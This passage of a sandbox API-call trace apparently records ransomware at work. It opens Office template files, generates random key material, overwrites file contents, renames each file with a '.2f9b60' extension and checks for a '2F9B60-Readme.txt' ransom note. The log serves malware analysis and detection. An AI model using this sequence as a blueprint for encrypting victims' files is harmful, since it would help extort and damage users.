(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639b0 [0112.519] SetFilePointerEx (in: hFile=0x15c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.519] WriteFile (in: hFile=0x15c8, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2321f910, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x2321f910*=0x104, lpOverlapped=0x0) returned 1 [0112.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630b0 [0112.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202630b0) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d000 [0112.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630b0 [0112.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630e0 [0112.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202630e0) returned 1 [0112.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.530] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x202630e0 [0112.530] sprintf (in: _Dest=0x202630e0, _Format="%c%c" | out: _Dest="05") returned 2 [0112.530] sprintf (in: _Dest=0x202630e2, _Format="%c%c" | out: _Dest="a1") returned 2 [0112.530] sprintf (in: _Dest=0x202630e4, _Format="%c%c" | out: _Dest="70") returned 2 [0112.530] sprintf (in: _Dest=0x202630e6, _Format="%c%c" | out: _Dest="b9") returned 2 [0112.530] sprintf (in: _Dest=0x202630e8, _Format="%c%c" | out: _Dest="dc") returned 2 [0112.530] sprintf (in: _Dest=0x202630ea, _Format="%c%c" | out: _Dest="2b") returned 2 [0112.530] sprintf (in: _Dest=0x202630ec, _Format="%c%c" | out: _Dest="0e") returned 2 [0112.530] sprintf (in: _Dest=0x202630ee, _Format="%c%c" | out: _Dest="3c") returned 2 [0112.530] sprintf (in: _Dest=0x202630f0, _Format="%c%c" | out: _Dest="da") returned 2 [0112.530] sprintf (in: _Dest=0x202630f2, _Format="%c%c" | out: _Dest="c9") returned 2 [0112.530] sprintf (in: _Dest=0x202630f4, _Format="%c%c" | out: _Dest="f2") returned 2 [0112.531] sprintf (in: _Dest=0x202630f6, _Format="%c%c" | out: _Dest="9f") returned 2 [0112.531] sprintf (in: _Dest=0x202630f8, _Format="%c%c" | out: _Dest="ae") returned 2 [0112.531] sprintf (in: _Dest=0x202630fa, _Format="%c%c" | out: _Dest="fc") returned 2 [0112.531] sprintf (in: _Dest=0x202630fc, _Format="%c%c" | out: _Dest="e0") returned 2 [0112.531] sprintf (in: _Dest=0x202630fe, _Format="%c%c" | out: _Dest="56") returned 2 [0112.531] sprintf (in: _Dest=0x20263100, _Format="%c%c" | out: _Dest="95") returned 2 [0112.531] sprintf (in: _Dest=0x20263102, _Format="%c%c" | out: _Dest="a3") returned 2 [0112.531] RtlInitAnsiString (in: DestinationString=0x2321f988, SourceString="05a170b9dc2b0e3cdac9f29faefce05695a3" | out: DestinationString="05a170b9dc2b0e3cdac9f29faefce05695a3") [0112.531] RtlAnsiStringToUnicodeString (in: DestinationString=0x2321f958, SourceString="05a170b9dc2b0e3cdac9f29faefce05695a3", AllocateDestinationString=1 | out: DestinationString="05a170b9dc2b0e3cdac9f29faefce05695a3") returned 0x0 [0112.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd9ccd0 [0112.531] wcscat (in: _Dest=0x1b85cba0, _Source="05a170b9d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\05a170b9d") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\05a170b9d" [0112.531] wcscat (in: _Dest=0x1b85cba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\05a170b9d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\05a170b9d.2f9b60" [0112.531] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\05a170b9d.2f9b60", NtPathName=0x2321f930, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\05a170b9d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cd65d90 [0112.531] NtSetInformationFile (FileHandle=0x15c8, IoStatusBlock=0x2321f9d0, FileInformation=0x1cd65d90, Length=0xa2, FileInformationClass=0xa) returned 0x0 [0112.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 [0112.532] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.532] NtQueryInformationFile (in: FileHandle=0x15c8, IoStatusBlock=0x2321f998, FileInformation=0x2321f9a8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2321f998, FileInformation=0x2321f9a8) returned 0x0 [0112.533] NtSetInformationFile (FileHandle=0x15c8, IoStatusBlock=0x2321f998, FileInformation=0x2321f9a8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.535] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ccd0) returned 1 [0112.535] FlushFileBuffers (hFile=0x15c8) returned 1 [0112.573] CloseHandle (hObject=0x15c8) returned 1 [0112.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85cba0 [0112.578] wcscpy (in: _Dest=0x1b85cba0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0112.578] wcscat (in: _Dest=0x1b85cba0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0112.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0112.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e490) returned 1 Thread: id = 1125 os_tid = 0xfdc [0112.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr2.xlt")) returned 0x20 [0112.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT", dwFileAttributes=0x20) returned 1 [0112.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr2.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1600 [0112.445] GetFileSizeEx (in: hFile=0x1600, lpFileSize=0x3542f720 | out: lpFileSize=0x3542f720*=29184) returned 1 [0112.445] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x71fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.445] ReadFile (in: hFile=0x1600, lpBuffer=0x3542f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3542f6e8, lpOverlapped=0x0 | out: lpBuffer=0x3542f6a0*, lpNumberOfBytesRead=0x3542f6e8*=0x4, lpOverlapped=0x0) returned 1 [0112.475] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261550 [0112.475] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ff0 [0112.476] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263da0 [0112.476] NtQuerySystemTime (in: CurrentTime=0x3542f5e0 | out: CurrentTime=0x3542f5e0*=132462177179434000) returned 0x0 [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x7a4e139f [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x6cf9af61 [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x7ecf4680 [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x7e553f3c [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x423dae44 [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x1e018d7a [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x67b7c9cb [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x449b69ee [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x2188cac0 [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x6fd3b31 [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x3513cf6f [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x15f0d37f [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0xf8f396 [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x6ac9e53d [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x6f2ebb0d [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x7472e379 [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x7fab095e [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x6fea6093 [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x772b8c14 [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x51a73d6a [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x24de50d8 [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x11cbf326 [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x54b215e1 [0112.476] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x188261c0 [0112.477] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x12bd1ed3 [0112.477] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x348f923d [0112.477] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x43b3313f [0112.477] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x31d055c2 [0112.477] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x7bd01a49 [0112.477] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x4744e6c6 [0112.477] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x18cc8ce2 [0112.477] RtlRandomEx (in: Seed=0x3542f5d0 | out: Seed=0x3542f5d0) returned 0x1b997dde [0112.484] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.484] ReadFile (in: hFile=0x1600, lpBuffer=0x41dea520, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3542f640, lpOverlapped=0x0 | out: lpBuffer=0x41dea520*, lpNumberOfBytesRead=0x3542f640*=0x3c00, lpOverlapped=0x0) returned 1 [0112.510] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c50 [0112.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263c50) returned 1 [0112.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41dfd170 [0112.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c50 [0112.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262db0 [0112.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262db0) returned 1 [0112.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.511] WriteFile (in: hFile=0x1600, lpBuffer=0x41dfd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3542f640, lpOverlapped=0x0 | out: lpBuffer=0x41dfd170*, lpNumberOfBytesWritten=0x3542f640*=0x3c00, lpOverlapped=0x0) returned 1 [0112.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dfd170) returned 1 [0112.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dea520) returned 1 [0112.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202612e0 [0112.519] SetFilePointerEx (in: hFile=0x1600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.520] WriteFile (in: hFile=0x1600, lpBuffer=0x1693c0*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3542f6f0, lpOverlapped=0x0 | out: lpBuffer=0x1693c0*, lpNumberOfBytesWritten=0x3542f6f0*=0x102, lpOverlapped=0x0) returned 1 [0112.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e60 [0112.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e60) returned 1 [0112.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0112.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e60 [0112.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202638c0 [0112.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202638c0) returned 1 [0112.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.536] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.536] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x202638c0 [0112.537] sprintf (in: _Dest=0x202638c0, _Format="%c%c" | out: _Dest="93") returned 2 [0112.537] sprintf (in: _Dest=0x202638c2, _Format="%c%c" | out: _Dest="a6") returned 2 [0112.537] sprintf (in: _Dest=0x202638c4, _Format="%c%c" | out: _Dest="c7") returned 2 [0112.537] sprintf (in: _Dest=0x202638c6, _Format="%c%c" | out: _Dest="7f") returned 2 [0112.537] sprintf (in: _Dest=0x202638c8, _Format="%c%c" | out: _Dest="51") returned 2 [0112.537] sprintf (in: _Dest=0x202638ca, _Format="%c%c" | out: _Dest="6f") returned 2 [0112.537] sprintf (in: _Dest=0x202638cc, _Format="%c%c" | out: _Dest="e4") returned 2 [0112.537] sprintf (in: _Dest=0x202638ce, _Format="%c%c" | out: _Dest="89") returned 2 [0112.537] sprintf (in: _Dest=0x202638d0, _Format="%c%c" | out: _Dest="4b") returned 2 [0112.537] sprintf (in: _Dest=0x202638d2, _Format="%c%c" | out: _Dest="36") returned 2 [0112.537] sprintf (in: _Dest=0x202638d4, _Format="%c%c" | out: _Dest="af") returned 2 [0112.537] sprintf (in: _Dest=0x202638d6, _Format="%c%c" | out: _Dest="db") returned 2 [0112.537] sprintf (in: _Dest=0x202638d8, _Format="%c%c" | out: _Dest="3b") returned 2 [0112.537] sprintf (in: _Dest=0x202638da, _Format="%c%c" | out: _Dest="4b") returned 2 [0112.537] sprintf (in: _Dest=0x202638dc, _Format="%c%c" | out: _Dest="1f") returned 2 [0112.537] sprintf (in: _Dest=0x202638de, _Format="%c%c" | out: _Dest="6d") returned 2 [0112.537] RtlInitAnsiString (in: DestinationString=0x3542f768, SourceString="93a6c77f516fe4894b36afdb3b4b1f6d" | out: DestinationString="93a6c77f516fe4894b36afdb3b4b1f6d") [0112.537] RtlAnsiStringToUnicodeString (in: DestinationString=0x3542f738, SourceString="93a6c77f516fe4894b36afdb3b4b1f6d", AllocateDestinationString=1 | out: DestinationString="93a6c77f516fe4894b36afdb3b4b1f6d") returned 0x0 [0112.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82c490 [0112.537] wcscat (in: _Dest=0x1b85cba0, _Source="93a6c77f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\93a6c77f") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\93a6c77f" [0112.537] wcscat (in: _Dest=0x1b85cba0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\93a6c77f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\93a6c77f.2f9b60" [0112.537] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\93a6c77f.2f9b60", NtPathName=0x3542f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\93a6c77f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0112.537] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65d90 [0112.537] NtSetInformationFile (FileHandle=0x1600, IoStatusBlock=0x3542f7b0, FileInformation=0x1cd65d90, Length=0xa0, FileInformationClass=0xa) returned 0x0 [0112.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65d90) returned 1 [0112.546] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0112.546] NtQueryInformationFile (in: FileHandle=0x1600, IoStatusBlock=0x3542f778, FileInformation=0x3542f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3542f778, FileInformation=0x3542f788) returned 0x0 [0112.546] NtSetInformationFile (FileHandle=0x1600, IoStatusBlock=0x3542f778, FileInformation=0x3542f788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0112.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.547] FlushFileBuffers (hFile=0x1600) returned 1 [0112.575] CloseHandle (hObject=0x1600) returned 1 [0112.587] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85cba0 [0112.588] wcscpy (in: _Dest=0x1b85cba0, _Source="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\" [0112.588] wcscat (in: _Dest=0x1b85cba0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" [0112.588] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\2f9b60-readme.txt")) returned 0x20 [0112.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85cba0) returned 1 [0112.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8687c0) returned 1 Thread: id = 1126 os_tid = 0xfe0 [0112.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr3.xlt")) returned 0x20 [0112.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT", dwFileAttributes=0x20) returned 1 [0112.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\adr3.xlt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xedc [0112.449] GetFileSizeEx (in: hFile=0xedc, lpFileSize=0x3560f760 | out: lpFileSize=0x3560f760*=30720) returned 1 [0112.449] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x77fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.449] ReadFile (in: hFile=0xedc, lpBuffer=0x3560f6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3560f728, lpOverlapped=0x0 | out: lpBuffer=0x3560f6e0*, lpNumberOfBytesRead=0x3560f728*=0x4, lpOverlapped=0x0) returned 1 [0112.485] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261550 [0112.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263da0 [0112.485] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262270 [0112.485] NtQuerySystemTime (in: CurrentTime=0x3560f620 | out: CurrentTime=0x3560f620*=132462177179434000) returned 0x0 [0112.485] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x5b519b5 [0112.485] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x2461be3f [0112.485] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x35c5c8c7 [0112.485] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x2bec8953 [0112.485] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0xf28120a [0112.485] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x56054258 [0112.485] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x13cee9dc [0112.485] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x2eb3d4eb [0112.485] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x4db29586 [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x5ea7fc35 [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x72cec5fa [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x5cb3aaac [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x79f712af [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0xd78de3f [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0xb7a75e6 [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0xa985aa7 [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x2899d901 [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x26b186ca [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x3e239d05 [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x63e40d2b [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x63e40d2b [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x4149a004 [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x53640696 [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x1272101 [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x1269cd32 [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x212e89b1 [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x7b5dff9e [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x685e508e [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x11dffe9e [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x3e4018a5 [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x61fc041 [0112.486] RtlRandomEx (in: Seed=0x3560f610 | out: Seed=0x3560f610) returned 0x5cadcc79 [0112.494] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.494] ReadFile (in: hFile=0xedc, lpBuffer=0x41dee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3560f680, lpOverlapped=0x0 | out: lpBuffer=0x41dee130*, lpNumberOfBytesRead=0x3560f680*=0x3c00, lpOverlapped=0x0) returned 1 [0112.512] SetFilePointerEx (in: hFile=0xedc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.512] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0112.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e870 [0112.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262db0 [0112.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262db0) returned 1 [0112.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e00d80 [0112.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262db0 [0112.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262e40 [0112.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262e40) returned 1 [0112.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e870) returned 1 [0112.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0112.514] WriteFile (in: hFile=0xedc, lpBuffer=0x41e00d80*, nNumberOfBytesToWrite=0x3c00, 